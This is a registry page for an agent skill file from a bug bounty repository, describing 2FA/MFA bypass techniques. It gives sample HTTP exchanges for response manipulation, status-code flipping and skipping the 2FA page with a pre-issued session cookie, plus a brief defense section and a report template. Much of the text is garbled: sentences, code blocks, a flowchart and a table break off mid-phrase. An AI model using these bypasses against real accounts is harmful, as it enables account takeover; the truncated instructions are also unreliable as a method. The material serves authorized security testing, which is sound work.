2fa bypass
bb-huge π€ , Personal bug bounty findings hub and bug bounty orchestration for multiple agents
npx -y skills add ShulkwiSEC/bb-huge --skill 2fa-bypassAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its author says it does
Copied from the file, not written here
Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.
The file declares its own license as Apache-2.0. That is the authorβs claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.
SKILL.md
5.9 KB, as published. Nobody here has run it
2FA / MFA Bypass
When to Use
- When auditing the authentication flow of a web or mobile application that implements SMS, Authenticator App (TOTP), or Email-based 2FA.
- To demonstrate how an attacker with compromised primary credentials (username/password) might circumvent the secondary layer of defense due to faulty business logic or state management by the server.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Understanding 2FA Implementation Flaws
# Concept: 2FA should be an unbreakable mathematical barrier However, developers often
# implement the logic Common Flaws :
# 1. Response Manipulation: Altering the server's boolean response .
# 2. Status Code Manipulation: Changing a 401 Unauthorized to a 200 OK 3. Direct Object Reference (Incomplete Auth): Navigating 4. Token Reuse/Predictability: 5. Rate Limit Missing: ```
### Phase 2: Exploitation via Response Manipulation
```http
# Concept: The server sends a boolean indicating if the 2FA code was correct 1. The Intercept (Attacker enters a wrong code: 000000) POST /api/v1/2fa/verify HTTP/1.1
Host: target.com
{"code": "000000"}
# 2. The Original Response HTTP/1.1 401 Unauthorized
{"success": false, "message": "Invalid code"}
# 3. The Manipulation (Using Burp Suite 'Match and Replace' or manual interception )
HTTP/1.1 200 OK
{"success": true, "message": "Authenticated"}
# Result If the frontend exclusively handles the 2FA state ```
### Phase 3: Exploitation via Direct Routing Bypass (State Mismatch)
```http
# Concept: Sometimes, after validating the password the server sets the primary session cookie BEFORE the required 2FA 1. Login POST /login HTTP/1.1
{"username": "victim", "password": "Password1!"}
# Response HTTP/1.1 302 Found
Set-Cookie: session_id=abc123validthing;
Location: /2fa-challenge
# 2. The Bypass Instead of following the redirect GET /dashboard HTTP/1.1
Host: target.com
Cookie: session_id=abc123validthing;
# Result ```
### Phase 4: Exploitation via Token Guessing / Brute Force
```text
# Concept If a site ```
#### Decision Point π
```mermaid
flowchart TD
A[Compromise ] --> B[Encounter 2FA Challenge ]
B --> C{Does ]}
C -->|Yes| D[Test ]
C -->|No| E[Check D --> F[Bypass ]
π΅ Blue Team Detection & Defense
- Server-Side Validation: Ensure Rate Limiting (Strict): Implement State Flow Enforcement: The server Key Concepts | Concept | Description | |---------|-------------|
Output Format
2Fa Bypass β Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] β [Brief description]
[Finding 2]: [Severity] β [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
π° Industry Bounty Payout Statistics (2024-2025)
| Company/Platform | Total Paid | Highest Single | Year |
|---|---|---|---|
| Google VRP | $17.1M | $250,000 (CVE-2025-4609 Chrome sandbox escape) | 2025 |
| Microsoft | $16.6M | (Not disclosed) | 2024 |
| Google VRP | $11.8M | $100,115 (Chrome MiraclePtr Bypass) | 2024 |
| HackerOne (all programs) | $81M | $100,050 (crypto firm) | 2025 |
| Meta/Facebook | $2.3M | up to $300K (mobile code execution) | 2024 |
| Crypto.com (HackerOne) | $2M program | $2M max | 2024 |
| 1Password (Bugcrowd) | $1M max | $1M (highest Bugcrowd ever) | 2024 |
| Samsung | $1M max | $1M (critical mobile flaws) | 2025 |
Key Takeaway: Google alone paid $17.1M in 2025 β a 40% increase YoY. Microsoft paid $16.6M. The industry is paying more, not less. Average critical bounty on HackerOne: $3,700 (2023).
π Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.mdβ Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.mdβ HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.mdβ Verified disclosed bounties by vulnerability class
References
- PortSwigger: Multi-factor authentication vulnerabilities
- OWASP: Testing for Weak Authentication